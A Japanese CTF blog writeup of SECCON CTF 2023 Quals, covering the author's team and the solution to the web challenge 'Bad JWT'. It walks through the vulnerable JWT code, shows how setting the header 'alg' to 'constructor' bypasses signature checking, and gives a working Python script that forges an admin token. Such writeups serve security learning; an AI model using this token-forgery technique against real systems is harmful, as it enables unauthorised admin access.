SECCON CTF 2023 Quals writeup
はじめに
2023-09-16 05:00 UTC - 2023-09-17 05:00 UTC でSECCON CTF 2023 Qualsが開催されました。
チームONsenで参加し、国際90/653位、国内37/334位でした。
僕はWebのwarmup問題であるBad JWTを解いたのみで、その他のweb問題に全く歯が立たずにベンチを温めていました。
参加にあたって
チームONsenは僕の研究室の後輩であるY君が阪大在籍時に「打倒!W◯ni Hack○se!」をスローガンに設立したチームであり(嘘)、阪大とNAISTの学生が所属しています。自分もONsenに所属しており、Y君が後ろの席で「SECCON予選でW◯ni Hack○se倒してえなあ」と毎日口ずさんでおり(嘘)、恐怖を感じたため、チームメンバーの補強を企んでいました。
すると、自分が普段からツイートやブログを拝見しているつよつよCTFプレイヤーであるhamayanさんが参加するチームを探しているではありませんか。
SECCONチーム入れてくれる心優しい人いませんか
— hamayanhamayan (@hamayanhamayan) September 4, 2023
「これは、チャンス!」と思ったので、速攻勧誘させてもらいました。すると、まさかのOKをいただき、hamayanさんがONsenでSECCON予選に参加してくださることが確定しました。
追加でNAIST最強のpwner()であるおしぼりをONsenに加入させることに成功しました。
これでSECCON予選での僕の仕事は終わったと言えます。当日はベンチを温められることが確定しました。
[web] Bad JWT
SatoooonさんのJWT問です。
jwt.js
const crypto = require('crypto');
const base64UrlEncode = (str) => {
return Buffer.from(str)
.toString('base64')
.replace(/=*$/g, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
}
const base64UrlDecode = (str) => {
return Buffer.from(str, 'base64').toString();
}
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
}
const parsePart = (str) => {
return JSON.parse(base64UrlDecode(str));
}
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
const parseToken = (token) => {
const parts = token.split('.');
if (parts.length !== 3) throw Error('Invalid JWT format');
const [ header, payload, signature ] = parts;
const parsedHeader = parsePart(header);
const parsedPayload = parsePart(payload);
return { header: parsedHeader, payload: parsedPayload, signature }
}
const sign = (alg, payload, secret) => {
const header = {
typ: 'JWT',
alg: alg
}
const signature = createSignature(header, payload, secret);
const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
return token;
}
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}
return payload;
}
module.exports = { sign, verify }
index.js
const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;
const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
const secret = require('crypto').randomBytes(32).toString('hex');
app.use((req, res, next) => {
try {
const token = req.cookies.session;
const payload = jwt.verify(token, secret);
req.session = payload;
} catch (e) {
console.log(e);
return res.status(400).send('Authentication failed');
}
return next();
})
app.get('/', (req, res) => {
if (req.session.isAdmin === true) {
return res.send(FLAG);
} else {
return res.status().send('You are not admin!');
}
});
app.listen(PORT, () => {
const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
console.log(`[INFO] Use ${admin_session} as session cookie`);
console.log(`Challenge server listening on port ${PORT}`);
});
ペイロード{isAdmin:true}
であり、署名が有効なJWTを送信することでflagが得られます。秘密鍵を直接求めることはできないため、署名検証をバイパスすることを考えます。
ここで、署名検証時に使用されるcreateSignature
関数及びalgorithms
オブジェクトに着目します。
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
algorithms
は署名アルゴリズムHS256
とHS512
の署名作成関数を含むオブジェクトですが、createSignature
でalgorithms
を使用する際のプロパティアクセスに、ユーザの入力値であるheader.alg
が未検証で使用されています。
署名検証を行うverify
関数を確認すると、createSignature
の呼び出し結果であるcalculated_signature
を制御できると、署名検証をバイパスできることがわかります。
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');
console.log('calculated_signature: ' + calculated_signature);
console.log('calculated_buf: ' + calculated_buf);
console.log('expected_signature: ' + expected_signature);
console.log('expected_buf: ' + expected_buf);
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}
return payload;
}
ここで、header.alg
にconstructor
を指定することを考えます。node.jsのオブジェクトはあらかじめconstructorを持っています。
実際にheaderを{"typ":"JWT","alg":"constructor"}
、payloadを{"isAdmin":True}
としたJWT eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjogdHJ1ZX0.
を送信します。すると、calculated_signature
はheaderとpayloadを連結したものになります。
calculated_signature: eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ
calculated_buf: {"typ":"JWT","alg":"constructor"}{"isAdmin":true}
calculated_buf
とexpected_buf
を一致させ、署名検証をバイパスするために、signature
として{"typ":"JWT","alg":"constructor"}{"isAdmin":true}
をbase64 urlエンコードしたものを送信します。
最終的に以下のPythonコードを実行することでflagが得られます。
import requests
import json
import base64
base_url = 'http://bad-jwt.seccon.games:3000/'
def base64_url_encode(data):
base64_encoded = base64.b64encode(data).decode('utf-8')
return base64_encoded.replace('+', '-').replace('/', '_').replace('=', '')
if __name__ == '__main__':
header = {"typ":"JWT","alg":"constructor"}
payload = {"isAdmin":True}
header_base64 = base64_url_encode(json.dumps(header).encode('utf-8'))
payload_base64 = base64_url_encode(json.dumps(payload).encode('utf-8'))
signature = base64_url_encode(b'{"typ":"JWT","alg":"constructor"}{"isAdmin":true}')
jwt = f"{header_base64}.{payload_base64}.{signature}"
resp = requests.get(base_url, cookies={"session": jwt})
print(resp.text) # SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}
おわりに
チームメンバーが大健闘してくれましたが、結局W◯ni Hack○seには勝てませんでした。悔しいです。急遽参加してくださったhamayanさん、チームメンバー、運営の方々ありがとうございました!